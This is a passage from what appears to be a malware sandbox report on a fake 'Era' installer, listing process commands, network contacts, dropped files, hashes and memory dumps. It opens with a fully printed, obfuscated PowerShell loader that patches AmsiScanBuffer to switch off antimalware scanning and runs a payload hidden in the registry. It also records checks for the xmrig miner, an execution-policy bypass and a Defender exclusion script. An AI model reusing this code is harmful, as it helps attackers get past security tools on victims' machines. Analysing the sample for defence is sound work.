wRMrYdnB.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+[Char](111)+''+[Char](107)+''+'e'+'',''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+'i'+''+'c'+''+','+''+'H'+''+[Char](105)+''+[Char](100)+'eB'+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+',Ne'+[Char](119)+''+[Char](83)+''+'l'+'o'+[Char](116)+','+[Char](86)+'i'+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+'',$DOnquqWZIa,$ndNcnonQoIuhbV).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+'a'+'g'+''+'e'+''+[Char](100)+'');Write-Output $AHXwRMrYdnB.CreateType();}$SiePMXrtfNqls=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+'s'+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+'d'+'l'+''+'l'+'')}).GetType(''+'M'+''+[Char](105)+''+'c'+'ro'+'s'+''+[Char](111)+'f'+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n32'+[Char](46)+''+[Char](85)+'n'+[Char](115)+''+'a'+''+[Char](102)+''+[Char](101)+'N'+[Char](97)+'t'+[Char](105)+''+'v'+''+'e'+''+[Char](77)+''+'e'+''+[Char](116)+'ho'+[Char](100)+''+[Char](115)+'');$CVPHdZkJGCOLmq=$SiePMXrtfNqls.GetMethod('G'+[Char](101)+''+[Char](116)+'P'+[Char](114)+''+'o'+''+[Char](99)+''+[Char](65)+''+'d'+'d'+[Char](114)+'es'+'s'+'',[Reflection.BindingFlags]('Pu'+[Char](98)+'l'+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+'t'+'a'+''+'t'+''+'i'+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$rHBvPOLzuGpIwomibAv=RpSPrXXrVNAa @([String])([IntPtr]);$eNLPlaNoRaReORpsnytWNp=RpSPrXXrVNAa @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$WxCFmBaeYCG=$SiePMXrtfNqls.GetMethod('G'+[Char](101)+''+'t'+''+'M'+'o'+[Char](100)+''+'u'+''+[Char](108)+''+'e'+'H'+'a'+''+'n'+''+[Char](100)+'l'+'e'+'').Invoke($Null,@([Object](''+'k'+''+'e'+''+'r'+''+'n'+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')));$DcoCPcAtrBmebv=$CVPHdZkJGCOLmq.Invoke($Null,@([Object]$WxCFmBaeYCG,[Object]('L'+[Char](111)+'adL'+'i'+''+'b'+''+[Char](114)+''+'a'+''+'r'+''+[Char](121)+'A')));$zpfnAKINRJUpjWvRz=$CVPHdZkJGCOLmq.Invoke($Null,@([Object]$WxCFmBaeYCG,[Object](''+[Char](86)+'i'+'r'+''+[Char](116)+''+[Char](117)+''+'a'+''+'l'+'P'+[Char](114)+''+'o'+'tec'+[Char](116)+'')));$WjAgmMy=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DcoCPcAtrBmebv,$rHBvPOLzuGpIwomibAv).Invoke(''+[Char](97)+'m'+[Char](115)+'i'+[Char](46)+''+[Char](100)+''+[Char](108)+'l');$yBvfsjcvHVhZIJYwN=$CVPHdZkJGCOLmq.Invoke($Null,@([Object]$WjAgmMy,[Object](''+[Char](65)+'m'+[Char](115)+'i'+[Char](83)+''+[Char](99)+'a'+[Char](110)+'Bu'+'f'+''+[Char](102)+'e'+'r'+'')));$QQNaYUdMMl=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zpfnAKINRJUpjWvRz,$eNLPlaNoRaReORpsnytWNp).Invoke($yBvfsjcvHVhZIJYwN,[uint32]8,4,[ref]$QQNaYUdMMl);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$yBvfsjcvHVhZIJYwN,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zpfnAKINRJUpjWvRz,$eNLPlaNoRaReORpsnytWNp).Invoke($yBvfsjcvHVhZIJYwN,[uint32]8,0x20,[ref]$QQNaYUdMMl);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+'F'+''+'T'+''+[Char](87)+''+'A'+'R'+[Char](69)+'').GetValue(''+[Char](36)+'7'+[Char](55)+''+[Char](115)+''+[Char](116)+''+'a'+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c tasklist /FI "IMAGENAME eq xmrig.exe" 2>NUL | find /I /N "xmrig.exe">NUL

C:\Windows\system32\find.exe

find /I /N "xmrig.exe"

C:\Windows\system32\tasklist.exe

tasklist /FI "IMAGENAME eq xmrig.exe"

C:\Users\Admin\AppData\Local\Temp\nsl7CC.tmp\old-uninstaller.exe

"C:\Users\Admin\AppData\Local\Temp\nsl7CC.tmp\old-uninstaller.exe" /S /KEEP_APP_DATA /allusers --keep-shortcuts --updated _?=C:\Program Files\Era

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c tasklist /FI "IMAGENAME eq xmrig.exe" 2>NUL | find /I /N "xmrig.exe">NUL

C:\Windows\system32\find.exe

find /I /N "xmrig.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\ExplorerHost.ps1"

C:\Windows\System32\dllhost.exe

C:\Windows\System32\dllhost.exe /Processid:{9d781709-b697-46b1-906d-e4ed00b8609b}

C:\Windows\system32\tasklist.exe

tasklist /FI "IMAGENAME eq xmrig.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 85.177.190.20.in-addr.arpa udp
US 8.8.8.8:53 210.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 sentry.erafn.org udp
US 104.22.66.72:443 sentry.erafn.org tcp
US 8.8.8.8:53 github.com udp
US 8.8.8.8:53 72.66.22.104.in-addr.arpa udp
DE 140.82.121.4:443 github.com tcp
US 8.8.8.8:53 raw.githubusercontent.com udp
US 185.199.108.133:443 raw.githubusercontent.com tcp
US 8.8.8.8:53 4.121.82.140.in-addr.arpa udp
US 8.8.8.8:53 234.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 api.v1.external.erafn.org udp
US 104.22.66.72:443 api.v1.external.erafn.org tcp
US 8.8.8.8:53 apps.identrust.com udp
GB 96.17.179.205:80 apps.identrust.com tcp
US 8.8.8.8:53 133.108.199.185.in-addr.arpa udp
US 8.8.8.8:53 227.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 205.179.17.96.in-addr.arpa udp
US 8.8.8.8:53 launcher.erafn.org udp
US 104.22.67.72:443 launcher.erafn.org tcp
US 8.8.8.8:53 sentry.erafn.org udp
US 8.8.8.8:53 dns.google udp
US 8.8.8.8:53 72.67.22.104.in-addr.arpa udp
US 8.8.8.8:443 dns.google tcp
US 8.8.8.8:443 dns.google tcp
US 8.8.8.8:443 dns.google tcp
US 8.8.8.8:53 api64.ipify.org udp
US 104.237.62.213:443 api64.ipify.org tcp
US 8.8.8.8:53 213.62.237.104.in-addr.arpa udp
US 8.8.8.8:53 ipinfo.io udp
US 34.117.186.192:443 ipinfo.io tcp
US 8.8.8.8:53 192.186.117.34.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
DE 140.82.121.4:443 github.com tcp
US 185.199.108.133:443 raw.githubusercontent.com tcp
US 8.8.8.8:53 140.71.91.104.in-addr.arpa udp
US 185.199.108.133:443 raw.githubusercontent.com tcp

Files

C:\Users\Admin\AppData\Local\Temp\RarSFX0\run.vbs

MD5 b7fe71cd889b8d9db15da394f6846359
SHA1 21d1cf9408750edf9a43afb872572746fcb23d51
SHA256 bdf08edeac9b660b814af9040128d8f8ef3ef46f8a28bf0319e6c05d42740fc2
SHA512 8a774ccc0de99d4110696bbea189e98ba33baf7bd59ac37d9ec1d88de59fd252d8d7e906cf87e6547e90966419fa23505af5ce4cc549dfa7f93905cc6b5aa1aa

C:\Users\Admin\AppData\Local\Temp\RarSFX0\net.exe

MD5 1acc730a80436f4ecf1662fa2beee86c
SHA1 bcbc4a7cf40d7b95dc6d22ced094c8f0ecb4ba8f
SHA256 c1a27942705106a485b9ee12a83b4deda3443eeb077a5fe04009395de103c618
SHA512 92c58e902b9f218158e7694fd82d9f151aa642581180ff1c6797ac78287eccb1a69d4d6f64703eaecbe103de333e7cfc83689626fc6bc60e124b6f69dcc14419

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe

MD5 f670ebfd30e9525c6d5c73aedce2110b
SHA1 9a792979363ff0dbd65e9dd7a77908d8b4a6b6de
SHA256 9984ab8fb4c859e9b63c7b51c654cca00f24bcfcb89d5626c4c30d54abef91c6
SHA512 8726e7c519012f49337552d100a30813e4950971031ddad18e02c9edc38919d760585b5b8a03bac2cf75f38802421e194e1501df3f7c96f2147b8f817b492b12

memory/1548-13-0x0000000073030000-0x00000000737E0000-memory.dmp

memory/1548-12-0x0000000000A00000-0x0000000000A08000-memory.dmp

memory/1548-14-0x0000000005950000-0x0000000005EF4000-memory.dmp

memory/1548-15-0x00000000053A0000-0x0000000005432000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe

MD5 84e16ac53c224c7a8212f0594f483e9e
SHA1 72c0f33438f1a3229a0e30fbc0567ecaea0b2057
SHA256 b2c84400f98f339f62e6c620f7b5d793f8934ce31106956d39e3be7e3272e6e5
SHA512 ef1d26b39a1f3d5d0be651888f3a1eed16cb61d6872bad8abde548db0089f631229f13c6fc511af3995d92000fced28653528b0979605a3e39d6a72d93ede898

memory/1548-17-0x0000000005340000-0x0000000005350000-memory.dmp

memory/1548-18-0x00000000052C0000-0x00000000052CA000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\System.dll

MD5 0d7ad4f45dc6f5aa87f606d0331c6901
SHA1 48df0911f0484cbe2a8cdd5362140b63c41ee457
SHA256 3eb38ae99653a7dbc724132ee240f6e5c4af4bfe7c01d31d23faf373f9f2eaca
SHA512 c07de7308cb54205e8bd703001a7fe4fd7796c9ac1b4bb330c77c872bf712b093645f40b80ce7127531fe6746a5b66e18ea073ab6a644934abed9bb64126fea9

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\StdUtils.dll

MD5 c6a6e03f77c313b267498515488c5740
SHA1 3d49fc2784b9450962ed6b82b46e9c3c957d7c15
SHA256 b72e9013a6204e9f01076dc38dabbf30870d44dfc66962adbf73619d4331601e
SHA512 9870c5879f7b72836805088079ad5bbafcb59fc3d9127f2160d4ec3d6e88d3cc8ebe5a9f5d20a4720fe6407c1336ef10f33b2b9621bc587e930d4cbacf337803

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\SpiderBanner.dll

MD5 17309e33b596ba3a5693b4d3e85cf8d7
SHA1 7d361836cf53df42021c7f2b148aec9458818c01
SHA256 996a259e53ca18b89ec36d038c40148957c978c0fd600a268497d4c92f882a93
SHA512 1abac3ce4f2d5e4a635162e16cf9125e059ba1539f70086c2d71cd00d41a6e2a54d468e6f37792e55a822d7082fb388b8dfecc79b59226bbb047b7d28d44d298

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\nsis7z.dll

MD5 80e44ce4895304c6a3a831310fbf8cd0
SHA1 36bd49ae21c460be5753a904b4501f1abca53508
SHA256 b393f05e8ff919ef071181050e1873c9a776e1a0ae8329aefff7007d0cadf592
SHA512 c8ba7b1f9113ead23e993e74a48c4427ae3562c1f6d9910b2bbe6806c9107cf7d94bc7d204613e4743d0cd869e00dafd4fb54aad1e8adb69c553f3b9e5bc64df

memory/2584-42-0x0000000002740000-0x0000000002776000-memory.dmp

memory/2584-68-0x00000000051A0000-0x00000000057C8000-memory.dmp

memory/2584-79-0x0000000002790000-0x00000000027A0000-memory.dmp

memory/2584-63-0x0000000073030000-0x00000000737E0000-memory.dmp

memory/2584-98-0x00000000057D0000-0x00000000057F2000-memory.dmp

memory/2584-109-0x0000000005880000-0x00000000058E6000-memory.dmp

memory/2584-118-0x00000000059F0000-0x0000000005A56000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eco5itpv.dgi.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2584-144-0x0000000005B60000-0x0000000005EB4000-memory.dmp

memory/2584-173-0x0000000006050000-0x000000000606E000-memory.dmp

memory/2584-180-0x00000000061A0000-0x00000000061EC000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\AddExclusion.ps1

MD5 1485f4c6aa77c1428e142543aa4e1deb
SHA1 6e239abc4fb245bd5a6ad684e7169fe877ea9a81
SHA256 4686b1f92532d8097e47bbc321b1c71c6342df7dc7395c0a22a9b23050be2686
SHA512 fd58e4762063b44a47eb6bffdfdc2704dd37788db1d43878ddca1c62d1d089abad06049c4a50e2146fdcb95fa6769e68457791690429ec00bae538d9c94f42d8

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\chrome_200_percent.pak

MD5 5604b67e3f03ab2741f910a250c91137
SHA1 a4bb15ac7914c22575f1051a29c448f215fe027f
SHA256 1408387e87cb5308530def6ce57bdc4e0abbbaa9e70f687fd6c3a02a56a0536c
SHA512 5e6f875068792e862b1fc8bb7b340ac0f1f4c51e53e50be81a5af8575ca3591f4e7eb9239890178b17c5a8ff4ebb23719190d7db0bd8a9aa6dcb4308ffa9a34d

C:\Program Files\Era\chrome_100_percent.pak

MD5 d31f3439e2a3f7bee4ddd26f46a2b83f
SHA1 c5a26f86eb119ae364c5bf707bebed7e871fc214
SHA256 9f79f46ca911543ead096a5ee28a34bf1fbe56ec9ba956032a6a2892b254857e
SHA512 aa27c97bf5581eb3f5e88f112df8bfb6a5283ce44eb13fbc41855008f84fb5b111dfe0616c310c3642b7f8ac99623d7c217aecc353f54f4d8f7042840099abc5

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\d3dcompiler_47.dll

MD5 bc89f21b369c1db89bb9aff118aecba1
SHA1 a3ea6835e78fea8faa573bd5a180af9470e4c374
SHA256 1e06bea04d9258ba0ebff1957dd92707b72e8071eaa404c3f1e669ed358834f5
SHA512 954915049bd487841d808aa8f961f00981320e560e4416b82b02f471b5fb3d0f676a19544d2b9f19afb5d551069c157251744bc496022f9245e4b7579d25fc19

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\Era.exe

MD5 c377e207ec84c84bf659fb0647045585
SHA1 eb33e35fe4e1898538df1d90013a57c845d69dd4
SHA256 4ee3f3905650d880a3df8c826ca1a1cfe57f2a8c96663bbc58608838330f9b37
SHA512 9e5028d438d2d7054ad4abf60cdec1df84ea8ecec6499e8d697e7cf23bdfeef8f70b1abf8578015d32c7e307b3a673591650b60ff01012bca0e22f32e4507015

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\icudtl.dat

MD5 66aea3c8768fca4a42c69f4391f07f48
SHA1 7369edefae99c65baa070dc190735f9136cb1921
SHA256 e8ab7bc5d7557ccced4a83db3c74dd1c37c3f9f85bc96647e059e5058151f08e
SHA512 02cf759d7955b1d32b5bdb3b576ef4a2a929df66706c43c928b1c2a661af52f58dfa6e90c0bd98fe4307f7ef6633d1eaf723e6e5987c556c08f24fdb6eac1b7a

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\libEGL.dll

MD5 773bbe681c1fab3d4d9ac505678f49e2
SHA1 6eb8dd50d3674d60ce805f59ed98a5bde42cafd5
SHA256 98a07bfe813d4e0917c82437b9489ab72694a76f71766c9b0cb61daab81ebf74
SHA512 2034ec31a8b71865ba7edf3bbcf5425756c46ffa896909e2c4b423171b205194ddec2933043ee906d8bd01bbfc3a34c2f09ed847aad3c8d5be09a886f19835f2

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\LICENSES.chromium.html

MD5 656ff2f886ef1058684ef2a5e78ec0ac
SHA1 4932979609590b38b2f6a94a14b54e36923e7be3
SHA256 57c6f1509d7cf3849901c5ff88a903c2164d6463479f447c439595edb20d62b0
SHA512 d7f908d0c7f1012b938d8d794563ee898053b7dbb847af4b09a64830884d8e62db7880a45335e9284a93513083720eab6794070f693e2cf68f63c92b17aaa305

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\LICENSE.electron.txt

MD5 4d42118d35941e0f664dddbd83f633c5
SHA1 2b21ec5f20fe961d15f2b58efb1368e66d202e5c
SHA256 5154e165bd6c2cc0cfbcd8916498c7abab0497923bafcd5cb07673fe8480087d
SHA512 3ffbba2e4cd689f362378f6b0f6060571f57e228d3755bdd308283be6cbbef8c2e84beb5fcf73e0c3c81cd944d01ee3fcf141733c4d8b3b0162e543e0b9f3e63

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\libGLESv2.dll

MD5 49e0ca83e61a7c88fc4b310a201837a3
SHA1 e0ad0cb8789eb224788e9e5ab8a760d45dc7a31d
SHA256 570a48a3b3e8f0aa22ec180a9d2cf89c62461d18263e84ae0cdf6d2fa331c19c
SHA512 f30845e1e5b8ca96b20baa0f7a748e522d2e1a233a47db14fbb498e831cc64538bb2fe767475fb2f10d3d1a3b8dcc3e5fc2a8f4d38638a9dd540f84196521ad9

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\ffmpeg.dll

MD5 e940c31a179316766451312a995c8f27
SHA1 7c789928e22573be4d089b0f0d22cefecbab6fbc
SHA256 899e0b8d0ecb36fbf683fbfab5a80222867433bde2999f6d08c65236252a725a
SHA512 09cce3d1fd99c1d09a68421085c7a5df5328d6e28c52e2b2148223646df72e8b8ac8173e64ae2198e5e0c93db0a6c0064573a0e4bb2b7829a11a134066a92e07

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\snapshot_blob.bin

MD5 d2fdc9b4cb7ab3bc6b79d4af2e0dfa5e
SHA1 7dabaf7f72133d589bb6cfccc03ba55e091d4740
SHA256 d770045f41d6852f1937a9fd71faf236965c3c46a53d1835492642e016ae6c4a
SHA512 e8c75ec903cbcac14f508012ac4989134ae884f0094b61494455c7886e58b50ee9bafe7f471c28a62c353be891731d9750d6fa0cd318541b8018e4c886679146

memory/2584-304-0x000000007F240000-0x000000007F250000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\v8_context_snapshot.bin

MD5 031ea03da08fe1247280cfe781658791
SHA1 e91db50ad16b5a5fbbaf4118672d60b347ea6161
SHA256 c16dcec41919a6d2850214f2275824be8a97d8c5e694e2ec8dd7d16ab2d5015c
SHA512 b3d6f282761f8ab8760728ecb108f64741f6f3cd2a143813042ff63a3b6604fcfe7c1feabafb65f9f67906217edb5851f44605a34f7a50ed2058c25ce5efb30a

memory/2584-325-0x0000000006620000-0x0000000006652000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\locales\fr.pak

MD5 3762068c8d6c4bea8cc67bd4296fbe44
SHA1 2324cf15d30d21b457edcf420478b3e26cafbe79
SHA256 5c9f99a786e829ffce3ec52f48dce89682663383eceafa6e088dee9b6f291c04
SHA512 b4e0db368bf6a50bdea1edcd290a07219a9e18113ba9dd4f092ba28f5016cbfbbe9f168bdd405becef7fdcc39f42371697f066e897c614af5acc6133a4caf558

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\locales\mr.pak

MD5 8f1f29150d13cc288d384c57a0a6c70b
SHA1 b8aab99382bd2844de6da731a7bf767538c24391
SHA256 cb6c4a91d65b97e0be673519fe4fa2a08a52c53c9d09c18168393e097103f603
SHA512 153d4d48d42995a1b28b0a58b036b4accad3db461fac5d1e65a9540e036f4577e718bfe10c8d1cadcc0afcd7c175e25559d0a024e8d4716494282a35035a3a4e

memory/2584-623-0x0000000007040000-0x00000000070E3000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\resources\app-update.yml

MD5 d729a1d49bd7106abafb63e5c670c9aa
SHA1 1c92cffc2f1fb30f2c8281a135a6ad2b68f09b81
SHA256 ca4f2f0ef3f3a4d3ffdd5389d16f8562bcc1290d69a6e2245d0de621854b8244
SHA512 5ec24113065db1b14341b53079fff79f149bceeb9d850b42b8a2c28c54529430249e406da77650e83bbf20f9289dd4c7541aa434a538d5cb12d0821df77e8794

memory/2584-631-0x00000000073A0000-0x00000000073BA000-memory.dmp

memory/2584-633-0x0000000007610000-0x00000000076A6000-memory.dmp

memory/2584-632-0x00000000073E0000-0x00000000073EA000-memory.dmp

memory/2584-630-0x00000000079C0000-0x000000000803A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\locales\zh-TW.pak

MD5 42f07ca30e4aaff6d9ba4061b0bd408c
SHA1 e07a8c35e90d655a61690456efd2f788fb8c6218
SHA256 89f6db699e0dc043b55c2e469af3fbbe1cd697fb6ecff77ff3efbfde81741d54
SHA512 28c06ea8e0459bbd0dce02e23fd7980f5e31d4fcfc797c16f0b27c75ab34106a66b4b870544e8bd3183b37f21a65b0e31a2a2279ff48e8f785e3730f174c687c

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\locales\zh-CN.pak

MD5 7d4c6185aae7f6b0ce4c22e41d57b16b
SHA1 12a3570e53019453c67275e23c15b38b11cd3011
SHA256 4330b6499156548f72c775feb89cf69d6e9f284345f807c518cc2beedcf9e1d6
SHA512 15430a40863bef26113dc665e59c8bb51a4ab15e3516b86b5a799a38813f64c704310bb4ed8cb7808791d9ea41c45c3db58454eb91108b86f744a2e3c1827f1c

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\locales\vi.pak

MD5 065179c466c5b7457e249f11d152b99f
SHA1 cfc05e9dfb91b2af2944aed4718fa05b43844914
SHA256 b75694e390bd2e20780b3bc72f6e1473ba45d7537c27642a7d888dfd3bb6c3bb
SHA512 fb598391a028b7d3c7e25cae21ccfde655e6f871e498767a54f7cf0d5d4e48207213cd2598ca88e4f46c303cd2d8175238a5a5b720ab37beec1873d681165a8d

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\locales\ur.pak

MD5 ba86f1f13fdc37a2c48c1da34c84f4c4
SHA1 2f1578d0eee76e60effb63967712b15c0d56829e
SHA256 4c7affdcc324cd791d10e235da809ce7501e8005be64340b6e8bf5595647a707
SHA512 fb2fe1548574da860bf27408a4f29d781fcefc300f744f4214843f343e343ad8bae29cb7047f87f5c3277641f561c6a30e5bc9d6490afbefc7af36974305a688

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\locales\uk.pak

MD5 3b2a976a25dca963e91df3695c502d8c
SHA1 ce7ae51211f512c3723bb43ea0de9e6debb70597
SHA256 28ea88f19b2c34699d535ca0c691449b7e4001c12e8aed8d04b2078916e88a37
SHA512 ba41ee074239afdf8f194b4ccb33060fa9655e3ccdac6a16090959d3214f8db15396b3e038d7de26c478fdd003472f680d2b6ac9a92acaf6ebf8aa258747ecc6

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\locales\tr.pak

MD5 46f9b2a35efdf1120a8a946e4f1d0115
SHA1 af7bec1fba32d912b50288a7d988440627e4ee85
SHA256 b22fc7b75c52cc142f201d5cf107d17c1b173a494a6add022127f559fb46bcb0
SHA512 cd67f9c328408a8295f224aec190c7c411a868755fc5c9e90b4985b3c41a05d6d34dd30d4a3866f6c24e1d640f4c324bfba8c7ab806a6b216151cf0a504a03d7

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\locales\th.pak

MD5 a970b7e9d3aec2cd1b8ab798b3179f07
SHA1 bf17a7e80e01ac1704a1efdf27baf271b4c21e36
SHA256 cd80bf232f2f128a3d411f52c8039987559dbc1055f746eed6e0e8478b116dc1
SHA512 880555a2ac2f278aecb8794d8cc51f0833052e9f4ca187ed91fa35bb475e68ae3255cfe1dc074eac960c73c203e62c6b38077b266f5fab66ccc3ca73e94d4d60

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\locales\te.pak

MD5 b1b6a9e3a04be79080ebbfacc1a0eb2d
SHA1 a5c8eb6a930062f6021d073d5f74ae146dc7fbc8
SHA256 d839531c4ff4a2885c993e0d358f78667215b0950c77a06ef01a6acff9221c5b
SHA512 bf0b163c8fc3988bfeb3cbb4b981596ce5afdf7e40149622fc3b60994e7d8efa5bb24c830036d168a6638feca48b8755aefa8640faae37055cae8fffb6a85568

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\locales\ta.pak

MD5 f100566697a96ce1f0a0c7e0bbfbe36d
SHA1 4c80a4930ba7d174c4203c199492463242bddf62
SHA256 7e818deedd50a533851bbf08e056bf2ad8d45f442a1a61d9b48e66804ea848db
SHA512 dfa6132a5b7e819e8d326bf5ee539d9ecb2dcd7fea429c75afec2291df9eeead6fa347b01f9feaf2235bce627fd39116176195f7a3d7d74de28951f939db1645

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\locales\sw.pak

MD5 9632dd7d883fa4deb3963ea663e0ffd4
SHA1 0db135be4b3a7c54c39e9df5034d5576b68ea92e
SHA256 690027c4a31c4aea00b7d1b32ec6cd3fa50b1eac412ae273ab15e72eb485dd6e
SHA512 3aac1857784dfecd2ae5f7c4056f58e27a966a6cb949e02eaba56fc1fc283243ed6213f17628d62d435e33fa4771eb43623f25da6510aa4ce6f2149f72ab0d37

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\locales\sv.pak

MD5 5130a033016b45ae2c3363edb3df7324
SHA1 9f696d78b1b9efec180dc89ee0defc3ba23e6677
SHA256 3420a1fbcca5bf8c2d65d6dcb0db78b03f95f7f2fc56479a0de6e3312333ce6f
SHA512 401b71360dcacf3b1fdc411c92195051370db110863cbed37143263e7804cb24b75ff1908ee39ee848c28776df00d6edd8cc748acf3725668af7815929e8066b

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\locales\sr.pak

MD5 fca817ed4b839b976ebcbf59cac66d68
SHA1 413efa65470319999032b6a25b3b2ee33b8cd047
SHA256 524acc64e70918a77cda43fd9b27a727645b28ad2d4cce16b327105101c8bbeb
SHA512 cb246d5c5cea30d6e7514841ab93803984cda37461a09b6c340ca64f7cbce4e1212951a4de421d928d433a619dac18454fb403b42581757b76c7eb124ce70cf2

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\locales\sl.pak

MD5 4ad22c6c64dbe0fc432afaa28090c4d9
SHA1 19eb65ae52a585dbd9c25c32f22b099020c43091
SHA256 6002c129a56558832e9bd260c427c0bd2e1566e0aea3ad999f89c8e479534f9b
SHA512 94f9d34e76560059ef80fc04be4d54e52a7d934dd28747db7f0f6684243b841087245699a471a55d667623d2ce5e597a3d2c6bc37cfd7ebd2f5b8fb40e6207e7

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\locales\sk.pak

MD5 72946b939f7bcaa98ab314cfba634e0b
SHA1 71c79a61712c8c5d3dac07a65d4c727e3b80ab17
SHA256 75f179897cad221ca6e36b47f53cead7f3fb4159ee196f1d10a5181b84e1b5b7
SHA512 2a8fa7108c58f4cb263900a555714d5638d961d14d9f4ddf8a9ab5b880afdbc5d2325fed1e158dbaf42a9cd20e8e372e6a8f52fce842a6940ea52e43e4a1f1e5

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\locales\ru.pak

MD5 5cc0f54e022a9996773dbd64906d5580
SHA1 87c103bd69724579b478f904235e03caf61d5d79
SHA256 b4223b56ec88235819a427d60bb937eb3984076523f02a018f57819e0429bea9
SHA512 b3365fedcba50643cecf1a70297e1e67990d63ae05caa87de01a70ef6f28e0f73a9a0edb0ff80b4138c624e51aa2dac065a2d40877fc92137714ae07734c2f4a

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\resources\app.asar.unpacked\node_modules\@sentry\cli\checksums.txt

MD5 1dcfcfdd8cce3e3b0fa697af106e4075
SHA1 f9261519f777790f7cd50c91e389d0e6589bd92a
SHA256 1357dc0a2f6ae355ab59b409c94cf635b7ed849a3bcb60e95b7132cbfd297324
SHA512 751ac3545299650e783daf0a45823660ce0b3f6dd7d722d303b9a801b02db61f7bb3a5129f4481294f2201fb5ad4e7bb1b2ab9a2d993ebde8a0d985f08ce34a2

C:\Users\Admin\AppData\Local\Temp\nsp7A22.tmp\7z-out\resources\app.asar.unpacked\node_modules\@sentry\cli\LICENSE

MD5 c2710cd00242ca7d7bef0fc98dbbc7f8
